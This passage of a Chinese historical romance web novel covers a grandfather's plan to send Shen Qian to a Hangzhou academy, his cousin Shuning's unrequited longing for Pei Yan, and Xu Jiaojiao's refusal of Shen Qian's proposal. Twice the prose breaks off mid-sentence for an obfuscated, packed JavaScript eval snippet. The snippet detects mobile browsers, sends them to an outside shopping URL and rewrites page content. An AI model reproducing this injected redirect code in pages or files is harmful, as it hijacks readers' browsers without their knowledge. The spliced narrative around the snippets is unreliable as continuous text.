幼时在菰城,外祖父曾将他抱在膝头,教他认字读诗。那时外祖父的手还很有力,胡子还是黑的,笑声朗朗,能把他举过头顶,说“我们阿宴将来必成大器”。 十几年过去,那双手已枯瘦如柴,那笑声也再听不见了。 “外祖父言重了。”裴宴轻声道,“孙儿在京城,很好。” 他没有说假话。 那些年,确实不好。可正因不好,才将他磨成今日的模样。若当年留在菰城,在外祖父庇荫下安稳长大,或许不会有今日的裴宴。 所以他不怨。 沈老太爷看着他,良久,轻叹一声。 “你总是说很好。”他摇了摇头,语气里带着几分无奈,几分心疼,“好不好的,你自己知道。” 他伸出手,在裴宴手背上轻轻拍了拍。 那手苍老枯瘦,骨节凸起,覆着褐色的老年斑,却仍是温热的。 “往后若有难处,别忘了菰城还有个沈家。”他放缓了声音,“你外祖父虽不中用了,可替你挡一挡风,还是挡得起的。” 裴宴垂首,喉间微哽。 “……孙儿省得。” 他没有说谢。祖孙之间,原不必言谢。 沈老太爷收回手,又端起茶盏,恢复了方才那种闲话家常的语气。 “你方才说,暂无打算。” 裴宴抬眸。 “那便是不急。”沈老太爷啜了口茶,苍老的声音里带出几分不易察觉的笑意,“也好。亲事这种事,急不得。总要遇着个可心的,我让你外祖母给你留意着,若有家世相当,品貌端方的闺秀,就给你父亲去信。” 裴宴望着茶盏中那汪澄黄的茶汤,汤面平静无波,一如他此刻面上神色。 窗外那几片枯叶还在风里打着旋儿,一忽儿落下,一忽儿又扬起,始终不肯坠地。 “是。”他轻声道。“劳外祖父费心。” 声音很轻,轻得几乎被风声盖过。 但沈老太爷听见了。 他没有再说什么,只是慢慢放下茶盏,靠回椅背,阖上了眼睛。 檐下的秋阳缓缓西移,将祖孙俩的影子拉得颀长。廊外隐约传来丫鬟轻手轻脚走过的脚步声,还有远处花厅里沈谦与同窗时隐时现的谈笑声。 67. 第67章 皆有失意 祖孙俩在书房闲聊,时间过的很快。 约莫过了半个时辰,沈谦得了消息,匆匆赶来。 他今日穿了身月白色直裰,衬得面色虽还有些苍白,精神却不错。见到裴宴,眼中露出真切的笑意:“宴弟,你来了。” “表哥。”裴宴起身,仔细打量他,“气色好多了。” “多亏那许娘子。”沈谦诚恳道,又向沈老太爷行礼,“孙儿给祖父请安。” 沈老太爷看着他,开门见山,语气严肃中带着关切:“谦儿,方才我与宴儿商议,决定送你去杭州万松书院读书。十日后动身,你可有准备?” 沈谦明显一怔,下意识看向裴宴。 裴宴神色淡然,仿佛此事与他无关。 “祖父……”沈谦迟疑道,“孙儿想……再休养些时日。况且年关将近,此时离家,恐怕……” “年关还有三个月。”沈老太爷不容置疑,“路上走慢些,到了杭州好生安顿,不耽误什么。万松书院山长方老先生今冬开讲《策论》,这是千载难逢的机会。你父亲若得知,也定会赞成。” 沈谦沉默了。他并非不识好歹之人,知道祖父的期望,也明白这机会来之不易。只是…… 他眼前忽然闪过那日柳枝巷小院里,许娇娇低头拣选羽毛时专注的侧脸,和她讲解制法时清亮的眼眸。 若是去了杭州,再见她,便难了。 这个念头让他心头一涩。 “孙儿……遵命。”他终究还是应下了。声音很轻,却带着几分不易察觉的失落。 裴宴看在眼里,心中那点愧意更深了。他忽然想起中秋那夜,许娇娇说起未来憧憬时,眼中那种纯粹的光。她说想有一间自己的药铺,种一院子草药,平安顺遂地过完这一生。 而自己今日所为,或许正将她推离那样的生活。 但开弓没有回头箭。 “表哥到了杭州,若有需要,可去寻杭州知府陈大人。”裴宴开口道,“陈大人是孙儿座师的同年,孙儿已修书一封,托他照应。” 沈谦看向他,眼中神色复杂,终究还是拱手道:“多谢宴弟费心。” 正说着,外头丫鬟来报,说老夫人请表公子过去说话。裴宴便向沈老太爷请辞。又看向沈谦,“表哥可要和我一起?” “宴弟先去。”沈谦起身目带歉意:“我那里还有几个同窗在,不好怠慢。少顷,送走了他们,我再去和祖母问安。” 裴宴点头,去了后院寿安堂。 寿安堂内,沈老夫人刚用过早膳,正倚在暖榻上,听身边得力的周嬷嬷说着家常。她年纪虽长,头发银白,但精神矍铄,面容慈和,一双眼睛却依旧明亮,透着洞察世情的通透。听闻外孙来了,脸上立刻绽开真切的笑容,连声道:“快让宴哥儿进来!这孩子,可是有些日子没来瞧我这老婆子了。” 裴宴撩帘入内,一股混合着檀香与药香的暖意扑面而来。他上前,端端正正行了礼:“孙儿给外祖母请安。外祖母近来身子可好?” “好,好着呢!”沈老夫人招手让他坐到榻边的锦凳上,仔细端详着他,心疼道,“就是瞧着清减了。可是公务太繁重?底下那些人都是做什么吃的,也不晓得替你分忧。”话语里是毫不掩饰的偏爱。 “劳外祖母挂心,孙儿无事。”裴宴温声道,“只是初来江南,水土略有不服,如今已习惯了。” 祖孙俩正叙着话,外间传来一阵略显急促却刻意放轻的脚步声,紧接着是丫鬟清脆的禀报:“老夫人,三娘子来给您请安了。” 门帘再次被掀起,沈淑宁走了进来。 她显然是匆匆打扮过的。身上穿了一件簇新的藕荷色折枝梅花纹缕金锦袄,下配月白色百褶裙,裙摆处用银线绣着细密的缠枝莲纹,行动间波光粼粼。头发梳成了时下菰城闺秀间流行的垂鬟分肖髻,斜插一支赤金点翠蝴蝶簪,并几朵小小的珍珠珠花,耳上坠着米粒大小的珍珠耳珰。脸上薄薄施了脂粉,掩去了几分病后的苍白,唇上点了浅浅的胭脂,更显得眉眼精致,楚楚动人。只是气息仍有些不匀,脸颊也因快步走来和些许紧张,泛着淡淡的红晕。 她手中提着一个精巧的食盒,进门后先向沈老夫人盈盈一拜:“宁儿给祖母请安。”声音比往日更显轻柔婉转。 抬起头,目光飞快地、带着难以抑制的雀跃看向裴宴,脸颊更红了些,垂下眼睫,规规矩矩地又福了一福:“宴表哥安好。表哥何时来的?可用过早饭了?”一连串问候,透着小女儿家的关切与一丝不易察觉的急切。 裴宴起身还了半礼,神色是一贯的疏淡有礼:“劳表妹记挂,我已用过了。”语气平静,听不出什么波澜,目光在她身上停留了一瞬便移开,重新落回沈老夫人身上,仿佛只是见到一位再寻常不过的表亲。 沈淑宁眼中飞快掠过一丝黯淡,但很快又扬起笑容,将食盒放到沈老夫人榻边的小几上,一边打开一边说:“祖母,这是孙女昨日让丫鬟去馥郁楼新买的玫瑰酥和茯苓糕,想着您爱吃,特意拿来。表哥也尝尝,这玫瑰酥用的是今秋新制的糖玫瑰,味道清甜不腻。”她亲手捧出一碟点心,摆得整整齐齐,先奉给沈老夫人,又期期艾艾地将另一碟推向裴宴的方向。 沈老夫人将一切看在眼里,目光在精心打扮的孙女和神色淡漠的外孙之间轻轻打了个转,心中了然,却只作不知。她捻起一块茯苓糕,尝了一口,笑着对裴宴道:“你表妹有心了。宁儿这孩子,自打病好了,越发懂事体贴。前些日子还说要跟她母亲学理家,说是不能总闲着。”话里话外,带着对孙女的怜爱与夸赞。 裴宴只微微颔首,应道:“表妹孝顺,是外祖母的福气。”却并未去动那碟点心,也没有接沈老夫人关于沈淑宁懂事体贴的话茬。 沈淑宁脸上的笑容有些维持不住,指尖无意识地绞着帕子。她偷偷抬眼去看裴宴,见他侧脸线条冷峻,目光沉静地望着祖母,似乎所有心神都在与祖母的对话上,对自己这番明显用心的装扮和殷勤视若无睹,心头不由漫上浓浓的失落和委屈。她听到丫鬟的禀报说表公子来了,急忙梳妆打扮,挑选衣裳首饰就费了近一个时辰,满心期待能让他看到自己病愈后最好的模样,可…… 沈老夫人将孙女的失落和裴宴的冷淡都收在眼底,心中暗自叹了口气。她这个外孙,心思深,眼界高,宁儿这般小心思,怕是难入他的眼。更何况,如今他身负皇命,心思都在江南的案子上,只怕也无心于此。 堂内的气氛一时有些微妙的凝滞。只有沈老夫人偶尔询问裴宴京中父母安好、江南生活可还习惯的声音,裴宴一一简洁作答,礼数周全,却始终隔着一层无形的距离。 沈淑宁安静地坐在下首,拢着袖中的手,指尖轻轻绞着帕子。 祖母正与宴表哥说话,问及京中父母安好、江南生活可惯。他一一作答,声音不高不低,语速不疾不徐,礼数周全得挑不出半分错处。 可那声音像隔着一层厚厚的冰。 明明人就坐在数尺之外的椅子上,玄色氅衣的衣角垂落,衬得面如冠玉、眉目清隽,与这满室暖香、百合芬芳,像是两个世界的人。 沈淑宁垂下眼,不敢多看。 可余光还是忍不住,一瞬、两瞬,悄悄地描摹他的侧脸。 他比去年祖父大寿时见着,又清减了些。下颌的线条愈发分明,眼下有轻微阴影,像是许久不曾安睡。 宴表哥…… 她很小很小的时候,就这样唤他。 那年她六七岁,因体弱多病,总被姐妹们落在后头。春日园中,她们扑蝶、荡秋千、捉迷藏,笑声穿过花枝,像一串串银铃。她一个人坐在廊下,远远望着,不敢凑近。从小她便知道,自己跑不动、追不上,便不去讨那个没趣。 正发着呆,裙摆上忽然落下一小片影子。是一只蝴蝶。 杏黄的翅,边缘镶着细细的黑纹,在阳光下闪着金粉似的光。它静静地停在她膝头,翅翼轻轻翕动,像一枚会呼吸的花瓣。 她不敢动,屏住呼吸,怕惊走了它。 “别怕。”头顶传来少年的声音,轻轻的,像怕惊落枝头的露水。 她仰起头,看见一个穿月白袍子的少年站在她身后。他比她见过的所有兄长都好看,眉眼清隽,像画上走下来的仙人。 那是她第一次见裴宴表哥。 他陪她坐了整整一个下午。没有问她为何一个人,没有说那些大人常说的“三娘子要好好将养身子”之类的客套话。他只是坐在她旁边,偶尔看那只蝴蝶,偶尔说一两句闲话,声音低低的,像檐下的风铃。 后来蝴蝶飞走了,她有些怅然,却不敢说。 他起身,从袖中摸出一方素帕,不知怎么变戏法似的,一眨眼,帕子里便卧着一只蝴蝶——杏黄的翅,边缘镶黑纹,连翅上的金粉都点得细细的,竟与方才那只一模一样。 “送给你。”他把帕子放在她掌心,弯下腰,与她的眼睛平视,“下次我们再来看它。” 她捧着那只蝴蝶,说不出话。 那是她童年里,最明亮的一日。 后来他回京城了。 她等啊等,等了一年,两年,三年。每年祖父祖母寿辰,她都早早换上最漂亮的衣裳,在花厅门口张望。可他总是不来。 偶尔来一次,也只是匆匆一瞥,与长辈们说几句话便走。她远远望着他的背影,想上前唤一声“宴表哥”,却始终鼓不起勇气。她不知自己在怕什么。 那只蝴蝶她藏了许多年,压在枕下,每晚入睡前都要摸一摸。后来帕子旧了,蝴蝶的翅膀也压扁了,她还是舍不得扔。 再后来,又到了祖父大寿。那日,他在花厅里与几位官员说话,侧身站着,玄色衣袍衬得他面如冠玉。她躲在屏风后偷偷看,心跳得像擂鼓,连手里的帕子绞成了麻花都不自觉。 那一刻,她心里忽然生出一个念头。 若能嫁给他,该有多好。 这念头像一粒种子,悄悄落在心底。她不敢对任何人说,只敢在夜里入睡前,偷偷想一会儿。 可此刻,他就坐在她面前,隔着不过数尺的距离。 她看着他,忽然觉得,很远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340321|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音温和,礼数周全。可那温和像覆在冬日河面上的薄冰,底下是深不见底的寒潭。他不会对人冷言冷语,却也不会让人靠近。 她忽然明白,那个午后陪她看蝴蝶的少年,是真的已经不在了。 或者,他从来就不是她以为的那个人。 年他陪她,不是因为对她有什么特别,只是他恰好看见一个孤零零的小女孩,恰好生了一副温柔心肠。换作任何一个孩子坐在那里,他都会那样做。 那只蝴蝶,从来不是只给她的。 沈淑宁垂下眼,指尖在帕子上无意识地掐出一道细痕。 她听见祖母问:“你在外头,凡事要顾惜身子。你母亲……我是说你父亲如今那位夫人,她待你如何,我们隔得远,也帮不上什么。” 他顿了一瞬。 那一瞬极短,短到若不留意,几乎察觉不出。 “继夫人持家有道,府中上下皆安。”他答道,声音平平的,“劳外祖母挂念。” 持家有道,府中皆安。 沈淑宁听着这八个字,忽然鼻尖一酸。 她没有见过他的继母,不知道那位夫人待他究竟如何。可她知道,“持家有道”是客套,“府中皆安”是疏离。他连一句“待我甚好”都不肯说。 她想帮他做点什么,可她什么也做不了。她甚至不敢让任何人知道,她有多想替他做点什么。 坐了一盏茶的功夫,裴宴便起身告辞,说行辕还有公务。沈老夫人知他确实忙碌,也不多留,只反复叮嘱他要顾惜身子。 裴宴行礼退出寿安堂,沈淑宁跟着起身相送。 她走得很慢,跟在他身后,隔着三四步的距离。他的背影很直,玄色氅衣在廊下光影里忽明忽暗,像她记忆里那只停在膝头的蝴蝶,一眨眼就要飞走。 廊道很长,日光从漏窗斜斜透进来,一格一格,在他肩头明明灭灭。她望着那道身影越来越远,越来越淡,像墨迹落入清水,一点点晕开、消散。 他始终没有回头。 走到转角处,玄色的衣角轻轻扬起,随即被廊柱遮去,再也看不见了。 沈淑宁站在门边,怔怔地望着那空荡荡的转角。 秋风吹过廊下,带着桂花将谢未谢的残香。她忽然想起那年春日,他弯下腰与她平视,说“下次我们再来看它”。 没有下次了。 她垂下眼,掌心里空空的,什么都没有。 那只蝴蝶,她终究是留不住的。 “三娘子,门口风大,仔细身子。”周嬷嬷轻声提醒。 沈淑宁恍然回神,慢慢转回身。 堂内还是那样暖意融融,炉中百合香的气息馥郁温柔。祖母靠在暖榻上,正望着她,目光里有心疼,有了然,还有一点点说不清的复杂。 “宁儿,过来。”沈老夫人向她招手。 沈淑宁走过去,在祖母榻边坐下。她垂着眼,不敢抬头,怕一抬头,那些忍了许久的泪水便会夺眶而出。 沈老夫人拉着她的手,轻轻拍了拍,语重心长道:“你宴表哥……他有他的路要走,肩上的担子重得很。有些事,莫要强求,也莫要钻了牛角尖。你是沈家的女儿,祖母只盼你平安喜乐,将来,自有你的缘法。” 这话说得含蓄,沈淑宁却听懂了。祖母看穿了她的心思,也在委婉地告诉她,裴宴表哥并非良配,至少,不是她能轻易企及的。 她脸色一红忽然又一白,低下头,咬着唇,鼻子轻轻“嗯”了一声,眼眶却微微红了。她呆坐片刻,起身低头向沈老夫人行礼;“祖母,孙女退下了。”沈老夫人点头,眼中带着一丝不忍,“去吧!”又嘱咐跟随的丫鬟,“看着你们三姑娘,天气渐凉,注意添衣,明日我让孙记裁缝铺的东家亲自来给你们姊妹量身,给你们多做几身衣裳。” “多谢祖母。”沈淑宁勉强扯出一个笑。 每次祖母掏出自己的体己给她们姊妹做衣裳,还是京城时薪的样式,她是最高兴的。可这一回,她怎么也无法畅快,只觉得心都要碎了,只想找个没人的地方大哭一场。 沈老夫人不再多言,看着孙女略显单薄离去的背影,她独自坐在暖榻上,手指缓缓拨动着腕上的佛珠,眼中闪过思量。宴儿今日突然来访,又提起送谦儿去杭州读书的事……她这外孙,心思缜密,行事果决,此番举动,恐怕不单单是为了谦儿的学业那么简单,只是她一丝也参不透内中的行情。罢了,孩子们大了,自有他们的考量。她长叹一声,闭目休憩。 裴宴乘坐马车往钦差行辕行进,车厢内寂静无声。长风也不敢多话,只安静驾车。 裴宴睁开眼,透过车帘缝隙望着外头迅速倒退的街景。他知道自己今日所为,多少有些卑劣。借长辈之口,行私心之事,实在算不得君子。 可若再来一次,他或许还是会这样做。 沈谦留在菰城,对她、对自己,都不是好事。 长痛不如短痛。 裴宴重新闭上眼。马车颠簸,他的身影在车厢内微微晃动,孤直,冷清,仿佛与这江南温软的秋日格格不入。 68. 第68章 沈谦告别 九月初八,离沈谦动身去杭州还有两日。 柳枝巷小院旁的梧桐叶黄了大半,风一过,便簌簌地落。连着下了几日的秋雨,昨日才停,今日,许娇娇看着初升的太阳,赶紧和静尘将最后一批处理好的鹅绒拿出来暴晒。阳光透过稀疏的枝叶洒下来,照得那些洁白蓬松的绒朵仿佛笼着一层柔光。 院门被叩响时,许娇娇正将晒好的绒朵装进细棉布袋里。静尘去开门,见到门外站着的人,愣了愣,回头道:“娇杏,是沈公子。” 许娇娇拍拍手上的绒絮,起身望去。沈谦独自一人站在门外,今日穿了身素净的靛青直裰,未带小厮,手里只提着一个不大的青布包袱。他面色依旧有些苍白,但眼神清亮,看向她时,唇角自然而然地扬起温润的笑意。 “沈公子。”许娇娇迎上前,心中有些讶异。前几日他才来过,怎么又来了? “许娘子。”沈谦进了院子,目光在她沾着绒絮的鬓边停留一瞬,又迅速移开,“又要叨扰了。” “公子客气了。”许娇娇引他到槐树下坐,示意静心沏茶,“公子这是要出门?” 沈谦将包袱放在石桌上,没有立刻回答,而是看向院子里晾晒的绒朵和未缝制的布料,温声道:“羽绒被快做好了?” “差不多了。”许娇娇在他对面坐下,“再晒两日,就能缝制。” 沈谦点点头,静默了片刻。秋阳正好,落在两人之间的石桌上,光影斑驳。静心端了茶来,又悄悄退到厨房门口,和静尘交换了一个眼神。 “许娘子,”沈谦终于开口,声音比平日低沉些,“我后日便要动身去杭州了。” 许娇娇微微一怔:“杭州?去多久?” “少则一年,多则……或许更长。”沈谦看着她,目光里有着不加掩饰的不舍,“祖父让我去万松书院读书,拜在方守正老先生门下。机会难得,我不能推辞。” 万松书院,那可是杭州最有名的书院。那是江南文人士子向往的圣地。沈谦作为沈氏嫡长孙,去那里深造是再自然不过的事。她由衷道:“这是好事。方老先生是当世大儒,公子能得他指点,前程必定更加光明。我在此预祝公子一路顺风,学业精进。” 她说得真诚,眉眼舒展,是真为他高兴的样子。沈谦看着她清澈的眼眸,心头那点离愁别绪却更浓了。她只为他高兴,却似乎,并无半分不舍。 “许娘子,”他握住茶杯的手指微微收紧,指节有些泛白,“此去杭州,山长水远。再见面,不知是何年何月了。” 许娇娇察觉到他语气中的异样,垂下眼睫,轻声道:“有缘自会相见。公子专心读书便是。” “有些话,”沈谦深吸一口气,像是鼓足了勇气,“若今日不说,恐怕以后便没有机会了。” 院子里忽然静了下来。静尘和静心见他有话要说,两人忙躲进厨房。旺财似乎也察觉到气氛不同,从窝里爬起来,蹲在许娇娇脚边,仰头看着两人。 许娇娇心头一跳,有许些不自在。她抬起眼,目光沉静地看向沈谦:“公子请讲。” 沈谦对上她澄澈的目光,原本准备好的那些委婉含蓄的说辞,忽然都说不出口了。他不想再绕弯子,不想再试探。这一别,或许就是永远。 “许娘子,”他声音很轻,却字字清晰,“自仁心堂病中初醒,见你守在榻前;到后来听你讲解医理,看你救治他人;再到那日这小院中,见你低头拣选绒絮,眉眼专注...... 这些日子,沈某心中,便再容不下他人了。” 许娇娇睫毛颤了颤,没有说话。 “我知道,我这话唐突,或许还会给你带来困扰。”沈谦语气恳切,眼中一片真诚,“我也知道,你我门第悬殊,沈家未必会应允。这些我都想过。可我还是想告诉你。谦此生,心仪许娘子,愿以余生相护,绝不相负。” 他顿了顿,从怀中取出一个素锦荷包,轻轻推到许娇娇面前:“这里面,是我自幼佩戴的一枚平安扣,并非贵重之物,却是我一片心意。此去杭州,我必发奋读书,考取功名。待我有了功名在身,能自主婚事时,若娘子那时仍未许人,可否……给我一个机会?” 荷包是雨过天青色,绣着简单的竹叶纹,针脚细密,显然是他随身之物。许娇娇看着那荷包,心头五味杂陈。 沈谦突如其来的告白,如此郑重。令她有些措手不及。 许娇娇在这个异世见过许多异样的目光。沈谦的目光她却有些不敢直视。并不是她怕他,而是她觉得这样一份感情与她而言是沉重的,是无法超越的现实。 在这个士庶天隔的时代,她比谁都清楚。 沈氏是累世簪缨的诗礼旧族,外祖做过户部尚书,父亲在京为官,他自己是嫡长孙,是将来要扛起门楣的人。而她是什么?落溪村许大郎家的孤女,水月庵逃出来的挂单尼,张记生药铺坐堂的女医。这样的身份,莫说聘为正妻,便是做妾,都不一定够格。 沈谦,少年的一腔热血,如此炙热和真诚...... 一阵风来,梧桐叶沙沙地响。一片半黄的叶子打着旋儿落下,正正落在荷包旁,像是天地也为这场沉默添了一笔注脚。 许娇娇沉默了很久。秋风拂过,又卷下几片梧桐叶,落在石桌上,落在两人之间。 “沈郎君,”她终于开口,声音很轻,却很清晰,“我……多谢郎君厚爱。” 沈谦眼中亮起期待的光。 许娇娇却缓缓摇了摇头:“这枚平安扣,我不能收。” 那光骤然黯了下去。 “公子的心意,我明白了。”许娇娇抬眼,目光坦然地迎上他失望的眸子,“公子是端方君子,待我以诚,我感激不尽。只是……” 她顿了顿,似乎在斟酌词句:“我身世飘零,前路未卜。眼下只求安稳度日,无心其他。公子前程远大,将来必定会遇到真正门当户对、能与公子并肩而立的淑女。我,不值得公子如此。” “值不值得,该由我说了算。”沈谦急声道,一贯温润的嗓音里带了丝不易察觉的颤抖,“我不在乎门第,不在乎那些虚名。许娘子,你难道……对我没有半分好感吗?” 许娇娇看着他眼中真切的情意和期盼,心头微涩。好感吗?自然是有的。沈谦温润如玉,品性高洁,待她真诚尊重,在疫病中挺身而出的担当也令人敬佩。这样的男子,很难不让人心生好感。 可也仅止于此了。 这份好感,还不足以让她去对抗门第的鸿沟,不足以让她将未来的希望寄托在一个漫长的承诺上。更重要的是……她脑海中忽然闪过另一张冷峻的脸,想起中秋夜月光下他饮酒时的侧影,想起他说“会的”时那低沉的嗓音。 那点连她自己都不愿深究的悸动,此刻她也无暇顾及。 “沈公子,”她声音柔和,却带着不容转圜的坚定,“你对我的恩情与心意,我铭记于心。但这枚平安扣,我真的不能收。愿你此去杭州,一路顺风,前程似锦。将来……定能觅得佳偶,白头偕老。” 话说至此,已是明确的拒绝。 沈谦脸上的血色一点点褪去。他看着她,眼中翻涌着失望、痛楚,还有一丝不甘。但他终究是君子,即便被拒绝,也没有失态,只是缓缓收回了那枚荷包,紧紧握在掌心。 “我明白了。”他声音沙哑,扯出一个勉强的笑容,“是我……冒昧了。” 他站起身,身形有些晃,却又很快稳住。深深看了许娇娇一眼,似是要将她的模样刻在心里。 “许娘子,保重。”他拱手,郑重一礼。 “沈公子也保重。”许娇娇起身还礼。 沈谦最后环顾了一眼这小院。阳光下晾晒的绒朵,墙角盛放的月季,厨房门口关切望着这边的静尘静心,还有她脚边那只乖巧的黄狗。这一切安宁温暖的景象,都将成为他日后回忆里,最明亮也最怅惘的一笔。 他转身,一步一步走出小院。背影在秋日的阳光里,显得格外孤清。 许娇娇站在槐树下,望着他离去的方向,久久未动。心头像是压了一块石头,沉甸甸的。拒绝一个真心待自己好的人,并非易事。可她别无选择。 静尘轻轻走过来,担忧地看着她:“娇杏……” “我没事。”许娇娇摇摇头,唇角扬起一个浅浅的弧度,“只是觉得……有些对不住沈公子。” “你做的没错。”静尘低声道,“长痛不如短痛。沈家那样的门第,不是我们能高攀的。沈公子他总会想通的。” 许娇娇没有说话,只低头继续整理那些绒朵。指尖拂过柔软温暖的绒絮,心绪却难以平静。 两日后,九月初十,沈谦启程前往杭州。 那日清晨下起了蒙蒙细雨,秋雨缠绵,将菰城的青瓦白墙笼在一片朦胧水汽中。沈家的马车从尚书第侧门驶出,三辆马车,几个仆役,行李简朴。沈老太爷亲自送到门口,又嘱咐了随行的管事几句。 沈谦撩开车帘,回头望了一眼沈府高高的门楣,又望向柳枝巷的方向。雨丝细密,看不真切。 “谦儿,路上小心。”沈老太爷的声音将他拉回现实。 “孙儿明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346618|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白。祖父保重。”沈谦放下车帘,坐回车中。 马车缓缓驶动,车轮碾过湿漉漉的石板路,发出沉闷的声响。沈谦靠在车厢壁上,闭上眼。掌心似乎还残留着那枚平安扣的触感。那是他五岁时,母亲亲手为他戴上的,说是外祖母从寺里求来,能保平安。 他终究没有送出去。 也好。沈谦苦笑。留个念想,或许比被她退回要好受些。 马车驶出城门时,雨渐渐停了。沈谦再次撩开车帘,望向逐渐远去的菰城城墙。这座他生活了二十年的城池,在这一刻忽然显得陌生而遥远。 他想起了疫病期间那些混乱而艰难的日夜,想起了仁心堂草棚里她温声劝药的声音,想起了柳枝巷小院中秋阳下她低头拣选绒絮的侧脸。 都过去了。 沈谦放下车帘,从行囊中取出一卷书。书页已经翻得有些旧了,上面还有他往日做的批注。他深吸一口气,强迫自己将注意力集中在那些熟悉的文字上。 前路还长。祖父说得对,他肩上有沈氏一族的期望,有自己的抱负要实现。儿女情长,不该成为他的羁绊。 可为何,心口那处,仍空落落的,像被秋雨浸透,凉得发疼? 马车一路向南,朝着杭州方向驶去。 ........ 与此同时,柳枝巷小院里,许娇娇正在缝制最后一条羽绒被。 细密的针脚,均匀的格子,她做得很专注。静尘和静心在一旁帮忙填充绒朵,三人有一搭没一搭地说着话。 “听说沈公子今日动身了。”静心小声说,“这么早就走,怕是赶着在入冬前到杭州。” 静尘看了许娇娇一眼,见她神色如常,才接话道:“早些走也好,路上不用太赶。杭州气候温和,冬天也比菰城好过些。” 许娇娇点点头,手中的针线没有停。她今日穿了身半旧的藕荷色夹袄,头发简单绾在脑后,几缕碎发垂在颊边。阳光从窗外照进来,在她低垂的睫毛上投下浅浅的阴影。 正说着,院门又被叩响了。 这次来的却是长风。 他今日没穿公服,一身寻常的青布短打,手里提着两条用草绳穿着的鲤鱼,鱼鳃还在一张一合,显然是刚买的。 “许娘子,”长风笑着进门,将鱼递过来,“今早去码头办事,瞧见这鱼新鲜,就买了两条。主子说……说让送过来,给娘子添个菜。” 他话说得有些磕绊,眼神飘忽,显然这“主子说”里有多少是真,多少是他自己加上的,颇值得玩味。 许娇娇接过鱼,沉甸甸的,鱼鳞在阳光下闪着银光。“多谢长风大哥,也替我谢谢裴安抚。”她顿了顿,状似随意地问,“裴安抚近日可好?公务还是那样忙吗?” “忙,怎么不忙。”长风叹了口气,“江南的案子千头万绪,主子这些日子几乎没怎么合眼。昨日审了一整夜的账册,今早又去见了孟知州。”他忽然想起什么,压低声音,“不过有件事……沈家那位大公子,今日启程去杭州了。”许娇娇神色平静:“我听说了。” 长风观察着她的表情,见她没有太多异样,心中稍定,又试探着说:“郎主还特意嘱咐,让杭州那边的人照应着些,毕竟是亲戚。” 这话说得巧妙,暗藏几分弦外之音。许娇娇抬眼看了看长风。长风的目光正与她的对上,有些避之不及的尴尬,于是抬手挠了挠头,岔开了话题:“娘子手真巧,这就是那羽绒被啊!” 许娇娇抿唇一笑,点了点头。 “裴安抚想得周到。” 长风见她笑了,心里一松:“可不是嘛,郎主做事向来周全。不过——”他顿了顿,觑着许娇娇的神情,继续道,“这些日子天气渐凉,郎主不太适应南方的潮气,娘子这羽绒被我看着挺好。不如娘子辛苦辛苦,帮郎主也做一床?” “这……”许娇娇一愣,“恐怕不太妥当吧?合适吗?” “妥当妥当,怎么不妥当。”长风堆出一脸笑容,“郎主就怕这南方的潮气,都念叨几回了。太合适了。” 他顿了顿,又压低了声音:“对了,郎主还说……”他似乎在斟酌用词,“说柳枝巷这边若有什么需要,让娘子一定派人去行辕说一声。” 许娇娇轻轻点头:“我记下了。有劳安抚挂心。” 长风又说了几句闲话,便告辞离开。 他走后,静尘看着那两条活蹦乱跳的鲤鱼,笑道:“这位裴钦差,倒真是细心。” 许娇娇没接话,只低头看着手中还在挣扎的鱼。鱼尾拍打着,溅起细小的水珠。 69. 第69章 孙婆子的回忆 自从柳枝巷有了裴宴的人盯着,许娇娇心里踏实了许多。隔几日便上张记坐诊,张东家前些日子去了江宁府最大的药材市场,是一位痊愈的病人介绍的,说他有个亲戚在江宁府做药材生意,既然此处收不到,那就走远一段,实在不行,更远一点,王家再厉害,也不可能霸占整个大越吧!张东家欣然应允。 与此同时。京城,十里铺官道旁的小茶馆刚卸下门板。 孙婆子佝偻着腰,将烧开的水灌进粗陶茶壶里。茶馆不大,三张方桌,几条长凳,一条褪了色“茶”旗在风中飘扬。灶膛里的火苗跳跃着,映着她满是皱纹的脸——那是岁月和风霜刻下的痕迹,一双眼睛却还透着几分精明。 这茶馆开了快十年了。十里铺是进出京城的必经之地,南来北往的客商、脚夫、镖师,都会在这里歇歇脚。孙婆子烧得一手好茶,还会做些简单的吃食,生意虽不红火,却也够她一个人过活。 只是很少有人知道,这个看起来再寻常不过的茶馆老板娘,曾在京城最有名的勾栏翠玉楼里,烧了二十年的茶水。 门帘被掀起,带进一股晨间的凉气。 两个男人走了进来。一高一矮,都穿着半旧的靛蓝短打,像寻常行脚商人的打扮。高的那个面容冷峻,眼神锐利;矮的那个笑眯眯的,看起来和气些。 “两位客官,喝茶?”孙婆子将茶壶放在灶边,用围裙擦了擦手。 “两碗茶,再上几个馒头。”高个男人开口道,声音低沉。他在靠窗的桌子边坐下,目光在茶馆里扫了一圈。 矮个男人则笑着凑到灶台前:“婆婆,这茶闻着香啊,是自家炒的?” “乡下粗茶,不值什么。”孙婆子麻利地摆上茶碗,又从蒸笼里取出几个还温着的馒头,“客官是打哪儿来?” “南边。”矮个男人接过馒头,咬了一口,“往京城去,做点小生意。” 孙婆子点点头,没再多问。她在这十里铺开了这么多年茶馆,什么样的人没见过?这两人虽然穿着寻常,但走路说话的样子,绝不只是寻常行脚商人那么简单。尤其是那个高个的,坐得笔直,眼神时不时扫过门外官道,像是在等什么人,又像是在防备什么。 她将茶端过去,转身要回灶台。 “婆婆,”高个男人忽然开口,“跟你打听个人。” 